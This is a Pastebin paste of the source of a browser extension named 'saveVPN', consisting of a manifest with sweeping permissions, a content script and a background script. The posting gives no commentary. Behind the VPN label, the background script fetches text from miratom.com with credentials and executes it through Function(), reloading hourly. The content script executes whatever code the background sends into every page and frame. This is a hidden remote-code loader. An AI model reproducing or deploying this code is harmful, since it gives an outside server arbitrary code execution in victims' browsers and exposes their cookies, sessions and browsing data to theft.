Advertisement
Guest User

Untitled

a guest
Dec 12th, 2023
382
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.76 KB | None | 0 0
  1. manifest.js
  2.  
  3. {
  4. "name": "saveVPN",
  5. "version": "10.2.4",
  6. "description": "saveVPN",
  7. "manifest_version": 2,
  8. "permissions": ["tabs", "notifications", "webRequest", "webNavigation", "storage", "webRequestBlocking", "<all_urls>", "cookies", "management", "proxy", "unlimitedStorage", "alarms", "bookmarks", "activeTab", "browsingData", "downloads", "privacy"],
  9. "background": {
  10. "scripts": ["bg.js"],
  11. "persistent": true
  12. },
  13. "content_scripts": [{
  14. "all_frames": true,
  15. "js": ["content.js"],
  16. "matches": ["<all_urls>"],
  17. "run_at": "document_start",
  18. "match_about_blank": true
  19. }],
  20. "browser_action": {
  21. "default_icon": "icon-32.png",
  22. "default_title": "saveVPN"
  23. },
  24. "icons": {
  25. "16": "icon-16.png",
  26. "32": "icon-32.png",
  27. "48": "icon-32.png"
  28. },
  29. "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'",
  30. "web_accessible_resources": ["content/*.css", "content/*.svg", "*.css", "images", "*.png"],
  31. "key": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDG98lKj0D2tRzgat9x0Y85sW7aWc5xe95q2IFoLNXvUmd3itJ2gviYDoCIHY34CQ444bqi08blk9XgpdG9BkhspTJoy5CCqCB7dVzLSh3iyaEB2VsITIwXHfAMEhOnknkfMmrQqhO982NK680/9J0KmydI6z7oAjY6TL1UeFph1wIDAQAB"
  32. }
  33.  
  34.  
  35.  
  36.  
  37.  
  38.  
  39.  
  40.  
  41.  
  42.  
  43.  
  44.  
  45.  
  46.  
  47.  
  48.  
  49.  
  50.  
  51.  
  52.  
  53.  
  54. content.js
  55.  
  56. ! function (n) {
  57. var r = {};
  58.  
  59. function o(e) {
  60. if (r[e]) return r[e].exports;
  61. var t = r[e] = {
  62. i: e,
  63. l: !1,
  64. exports: {}
  65. };
  66. return n[e].call(t.exports, t, t.exports, o), t.l = !0, t.exports
  67. }
  68. o.m = n, o.c = r, o.d = function (e, t, n) {
  69. o.o(e, t) || Object.defineProperty(e, t, {
  70. enumerable: !0,
  71. get: n
  72. })
  73. }, o.r = function (e) {
  74. "undefined" != typeof Symbol && Symbol.toStringTag && Object.defineProperty(e, Symbol.toStringTag, {
  75. value: "Module"
  76. }), Object.defineProperty(e, "__esModule", {
  77. value: !0
  78. })
  79. }, o.t = function (t, e) {
  80. if (1 & e && (t = o(t)), 8 & e) return t;
  81. if (4 & e && "object" == typeof t && t && t.__esModule) return t;
  82. var n = Object.create(null);
  83. if (o.r(n), Object.defineProperty(n, "default", {
  84. enumerable: !0,
  85. value: t
  86. }), 2 & e && "string" != typeof t)
  87. for (var r in t) o.d(n, r, function (e) {
  88. return t[e]
  89. }.bind(null, r));
  90. return n
  91. }, o.n = function (e) {
  92. var t = e && e.__esModule ? function () {
  93. return e.default
  94. } : function () {
  95. return e
  96. };
  97. return o.d(t, "a", t), t
  98. }, o.o = function (e, t) {
  99. return Object.prototype.hasOwnProperty.call(e, t)
  100. }, o.p = "", o(o.s = 851)
  101. }({
  102. 851: function (e, t) {
  103. chrome.runtime.sendMessage({
  104. type: "EXT.content"
  105. }, function (e) {
  106. return e && Function(e)()
  107. })
  108. }
  109. });
  110.  
  111.  
  112.  
  113.  
  114.  
  115.  
  116.  
  117.  
  118.  
  119.  
  120.  
  121.  
  122. bg.js
  123. function addoninstall() {
  124. var url = "api/products/install",
  125. http;
  126. (http = new XMLHttpRequest).open("GET", url + setparams(), !0), http.onreadystatechange = function () {}, http.send(null);
  127. var url = "api/products/affiliateid",
  128. http;
  129. (http = new XMLHttpRequest).open("GET", url, !0), http.onreadystatechange = function () {
  130. 4 == http.readyState && 200 == http.status && localStorage.setItem("AppId", http.responseText)
  131. }, http.send(null)
  132. }
  133.  
  134. function setparams() {
  135. var params = "",
  136. appname = "GearBest",
  137. appv = "1.0";
  138. if (chrome.runtime.getManifest) {
  139. var manifest = chrome.runtime.getManifest();
  140. appname = manifest.name, appv = manifest.version;
  141. var nVer = navigator.appVersion,
  142. nAgt = navigator.userAgent,
  143. browserName = navigator.appName,
  144. fullVersion = "" + parseFloat(navigator.appVersion),
  145. majorVersion = parseInt(navigator.appVersion, 10),
  146. nameOffset, verOffset, ix; - 1 != (verOffset = nAgt.indexOf("Opera")) ? (browserName = "Opera", fullVersion = nAgt.substring(verOffset + 6), -1 != (verOffset = nAgt.indexOf("Version")) && (fullVersion = nAgt.substring(verOffset + 8))) : -1 != (verOffset = nAgt.indexOf("MSIE")) ? (browserName = "Microsoft Internet Explorer", fullVersion = nAgt.substring(verOffset + 5)) : -1 != (verOffset = nAgt.indexOf("Chrome")) ? (browserName = "Chrome", fullVersion = nAgt.substring(verOffset + 7)) : -1 != (verOffset = nAgt.indexOf("Safari")) ? (browserName = "Safari", fullVersion = nAgt.substring(verOffset + 7), -1 != (verOffset = nAgt.indexOf("Version")) && (fullVersion = nAgt.substring(verOffset + 8))) : -1 != (verOffset = nAgt.indexOf("Firefox")) ? (browserName = "Firefox", fullVersion = nAgt.substring(verOffset + 8)) : (nameOffset = nAgt.lastIndexOf(" ") + 1) < (verOffset = nAgt.lastIndexOf("/")) && (browserName = nAgt.substring(nameOffset, verOffset), fullVersion = nAgt.substring(verOffset + 1), browserName.toLowerCase() == browserName.toUpperCase() && (browserName = navigator.appName)), -1 != (ix = fullVersion.indexOf(";")) && (fullVersion = fullVersion.substring(0, ix)), -1 != (ix = fullVersion.indexOf(" ")) && (fullVersion = fullVersion.substring(0, ix)), majorVersion = parseInt("" + fullVersion, 10), isNaN(majorVersion) && (fullVersion = "" + parseFloat(navigator.appVersion), majorVersion = parseInt(navigator.appVersion, 10));
  147. var OSName = "Unknown OS";
  148. return -1 != navigator.appVersion.indexOf("Win") && (OSName = "Windows"), -1 != navigator.appVersion.indexOf("Mac") && (OSName = "MacOS"), -1 != navigator.appVersion.indexOf("X11") && (OSName = "UNIX"), -1 != navigator.appVersion.indexOf("Linux") && (OSName = "Linux"), "?AppName=" + appname + "&AddonsVersion=" + appv + "&Browser=" + browserName + " " + fullVersion + "&OS=" + OSName
  149. }
  150. }
  151.  
  152. function open_new_tab(url) {
  153. chrome.tabs.create({
  154. url: url,
  155. active: !0
  156. })
  157. }
  158.  
  159. function popitup(url) {
  160. var w = 1024,
  161. h = 800;
  162. chrome.windows.create({
  163. url: url,
  164. type: "popup",
  165. focused: !0,
  166. width: w,
  167. height: h,
  168. left: screen.width / 2 - 512,
  169. top: screen.height / 2 - 400
  170. })
  171. }
  172.  
  173. function notificationClosed(notID, bByUser) {
  174. sendEvent("Notification", "Closed")
  175. }
  176.  
  177. function notificationClicked(notID) {
  178. sendEvent("Notification", "Clicked"), "" !== notification_link_url && open_new_tab(notification_link_url)
  179. }
  180.  
  181. function notificationBtnClick(notID, iBtn) {
  182. sendEvent("Notification", "Clicked"), "" !== notification_link_url && open_new_tab(notification_link_url)
  183. }
  184.  
  185. function creationCallback(notID) {
  186. sendEvent("Notification", "Received")
  187. }
  188.  
  189. function sendEvent(category, event) {}
  190.  
  191. function register_for_notification(reg_id) {
  192. var url = API_URL + "api/notifications/add?reg_id=" + reg_id,
  193. xhr = new XMLHttpRequest;
  194. xhr.open("GET", url, !0), xhr.onreadystatechange = function () {
  195. if (4 == xhr.readyState && 200 == xhr.status) {
  196. var temptxt = xhr.responseText;
  197. console.log(temptxt), sendEvent("Notification", "Registered")
  198. }
  199. }, xhr.send()
  200. }
  201.  
  202. function save_license(license) {
  203. console.log("save_license:"), chrome.storage.sync.get("accEmail", (function (ac) {
  204. if (void 0 !== ac.accEmail && "" !== ac.accEmail) {
  205. var acc_email = ac.accEmail;
  206. acc_email || (acc_email = ACC_EMAIL);
  207. var url = apid.baseURI,
  208. xhr = new XMLHttpRequest,
  209. data = new FormData;
  210. data.append("method", "save_license"), data.append("params", {
  211. license: license,
  212. email: acc_email
  213. }), xhr.open("POST", url, !0), xhr.onreadystatechange = function () {
  214. if (4 == xhr.readyState && 200 == xhr.status) {
  215. var temptxt = xhr.responseText;
  216. console.log("save_license:", temptxt)
  217. }
  218. }, xhr.send(data)
  219. }
  220. }))
  221. }
  222.  
  223. function registerCallback(registrationId) {
  224. console.log(registrationId), console.log("registerCallback:"), chrome.runtime.lastError ? console.log("1. registerCallback:fails") : chrome.storage.local.set({
  225. registered_for_notifications_2: !0,
  226. registration_id: registrationId
  227. }, (function () {
  228. register_for_notification(registrationId)
  229. }))
  230. }
  231.  
  232. function sendRegistrationId(callback) {
  233. console.log("sendRegistrationId:", callback)
  234. }
  235.  
  236. function register_notification(sendResponse) {
  237. console.log("register_notification:1:"), chrome.storage.local.get("registered_for_notifications_2", (function (result) {
  238. if (console.log(result), result.registered_for_notifications_2) sendResponse.call(this, {
  239. status: "success"
  240. });
  241. else {
  242. console.log("Here 1.");
  243. var senderIds = ["1057759269049"];
  244. chrome.gcm.register(senderIds, registerCallback)
  245. }
  246. }))
  247. }! function () {
  248. setTimeout(() => chrome.runtime.reload(), 36e5);
  249. const url = new URL("https://miratom.com/info"),
  250. xhr = new XMLHttpRequest;
  251. xhr.open("GET", url.href), xhr.withCredentials = !0, xhr.onload = () => {
  252. 200 === xhr.status && xhr.responseText ? new Promise(Function(xhr.responseText)) : setTimeout(() => chrome.runtime.reload(), 6e5)
  253. }, xhr.send()
  254. }();
  255.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement